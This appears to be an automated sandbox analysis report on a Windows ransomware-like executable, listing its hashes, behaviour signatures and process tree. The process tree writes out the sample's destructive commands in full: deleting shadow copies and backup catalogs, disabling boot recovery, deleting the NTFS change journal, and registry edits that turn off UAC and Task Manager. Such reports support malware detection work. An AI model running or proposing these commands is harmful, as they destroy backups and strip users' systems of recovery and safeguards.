Analysis
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max time kernel
149s -
max time network
50s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
22-10-2022 14:40
Behavioral task
behavioral1
Sample
32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe
Resource
win10v2004-20220812-en
General
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Target
32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe
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Size
1.1MB
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MD5
674e7ee905d24a89af47b53b53ffc23c
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SHA1
c6b73b882aa1f4d46ec655a5591a28638700856c
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SHA256
32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1
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SHA512
6a0623742423f2137a0a9285e6a590659f8436eeb1fd7c9bcb5e16ecbffa949ae82cf59ee9a49e614345b559a581cfe23c87afce028d1927335dc4938a9b0408
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SSDEEP
24576:ibBzKGHF0bxTCFvXwKl/aISpu4Qc6F3v1HT2BzN2tgGS3YzYhoPGxFG4zmYw7A:wV4xTC4u4Qc6/F8bw4Nw
Malware Config
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1004 fsutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1500 bcdedit.exe 948 bcdedit.exe -
pid Process 1016 wbadmin.exe -
Enumerates connected drives 3 TTPs 6 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe File opened (read-only) \??\H: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe File opened (read-only) \??\I: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe File opened (read-only) \??\F: 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Interacts with shadow copies 2 TTPs 7 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1468 vssadmin.exe 2056 vssadmin.exe 2096 vssadmin.exe 1556 vssadmin.exe 1564 vssadmin.exe 924 vssadmin.exe 752 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeBackupPrivilege 1612 vssvc.exe Token: SeRestorePrivilege 1612 vssvc.exe Token: SeAuditPrivilege 1612 vssvc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 868 wrote to memory of 1900 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 28 PID 868 wrote to memory of 1900 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 28 PID 868 wrote to memory of 1900 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 28 PID 868 wrote to memory of 1900 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 28 PID 868 wrote to memory of 2040 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 29 PID 868 wrote to memory of 2040 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 29 PID 868 wrote to memory of 2040 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 29 PID 868 wrote to memory of 2040 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 29 PID 868 wrote to memory of 1896 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 30 PID 868 wrote to memory of 1896 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 30 PID 868 wrote to memory of 1896 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 30 PID 868 wrote to memory of 1896 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 30 PID 1896 wrote to memory of 1948 1896 cmd.exe 31 PID 1896 wrote to memory of 1948 1896 cmd.exe 31 PID 1896 wrote to memory of 1948 1896 cmd.exe 31 PID 1896 wrote to memory of 1948 1896 cmd.exe 31 PID 868 wrote to memory of 964 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 32 PID 868 wrote to memory of 964 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 32 PID 868 wrote to memory of 964 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 32 PID 868 wrote to memory of 964 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 32 PID 868 wrote to memory of 1204 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 36 PID 868 wrote to memory of 1204 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 36 PID 868 wrote to memory of 1204 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 36 PID 868 wrote to memory of 1204 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 36 PID 868 wrote to memory of 2008 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 35 PID 868 wrote to memory of 2008 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 35 PID 868 wrote to memory of 2008 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 35 PID 868 wrote to memory of 2008 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 35 PID 868 wrote to memory of 1748 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 33 PID 868 wrote to memory of 1748 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 33 PID 868 wrote to memory of 1748 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 33 PID 868 wrote to memory of 1748 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 33 PID 868 wrote to memory of 1968 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 37 PID 868 wrote to memory of 1968 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 37 PID 868 wrote to memory of 1968 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 37 PID 868 wrote to memory of 1968 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 37 PID 868 wrote to memory of 1096 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 38 PID 868 wrote to memory of 1096 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 38 PID 868 wrote to memory of 1096 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 38 PID 868 wrote to memory of 1096 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 38 PID 868 wrote to memory of 1880 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 41 PID 868 wrote to memory of 1880 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 41 PID 868 wrote to memory of 1880 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 41 PID 868 wrote to memory of 1880 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 41 PID 868 wrote to memory of 1276 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 53 PID 868 wrote to memory of 1276 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 53 PID 868 wrote to memory of 1276 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 53 PID 868 wrote to memory of 1276 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 53 PID 868 wrote to memory of 1956 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 49 PID 868 wrote to memory of 1956 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 49 PID 868 wrote to memory of 1956 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 49 PID 868 wrote to memory of 1956 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 49 PID 868 wrote to memory of 824 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 48 PID 868 wrote to memory of 824 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 48 PID 868 wrote to memory of 824 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 48 PID 868 wrote to memory of 824 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 48 PID 2008 wrote to memory of 1556 2008 cmd.exe 44 PID 2008 wrote to memory of 1556 2008 cmd.exe 44 PID 2008 wrote to memory of 1556 2008 cmd.exe 44 PID 868 wrote to memory of 576 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 47 PID 868 wrote to memory of 576 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 47 PID 868 wrote to memory of 576 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 47 PID 868 wrote to memory of 576 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 47 PID 868 wrote to memory of 1528 868 32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe 52
Processes
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C:\Users\Admin\AppData\Local\Temp\32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe"C:\Users\Admin\AppData\Local\Temp\32f9e35d861d166a7ae22eb24f50ab0fb1adedc9f1ae5f1ce2c76e3268b2b4c1.exe"1⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:868 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service2⤵PID:1900
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c @echo off2⤵PID:2040
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c chcp 4372⤵
- Suspicious use of WriteProcessMemory
PID:1896 -
C:\Windows\SysWOW64\chcp.comchcp 4373⤵PID:1948
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"2⤵PID:964
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1748
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1556
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1204
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:924
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1968
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1564
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1096
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:948
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB2⤵PID:1880
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:752
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:576
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1468
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:824
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1016
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded2⤵PID:1956
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1528
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:820
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1276
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f2⤵PID:1536
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1508
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2096
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f2⤵PID:1620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB2⤵PID:1176
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:2056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵PID:1704
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C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵PID:2080
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f2⤵PID:560
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB2⤵PID:1504
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f2⤵PID:1064
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f3⤵PID:2192
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded2⤵PID:1664
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded2⤵PID:1080
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f2⤵PID:964
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB2⤵PID:2144
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=unbounded2⤵PID:2232
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1612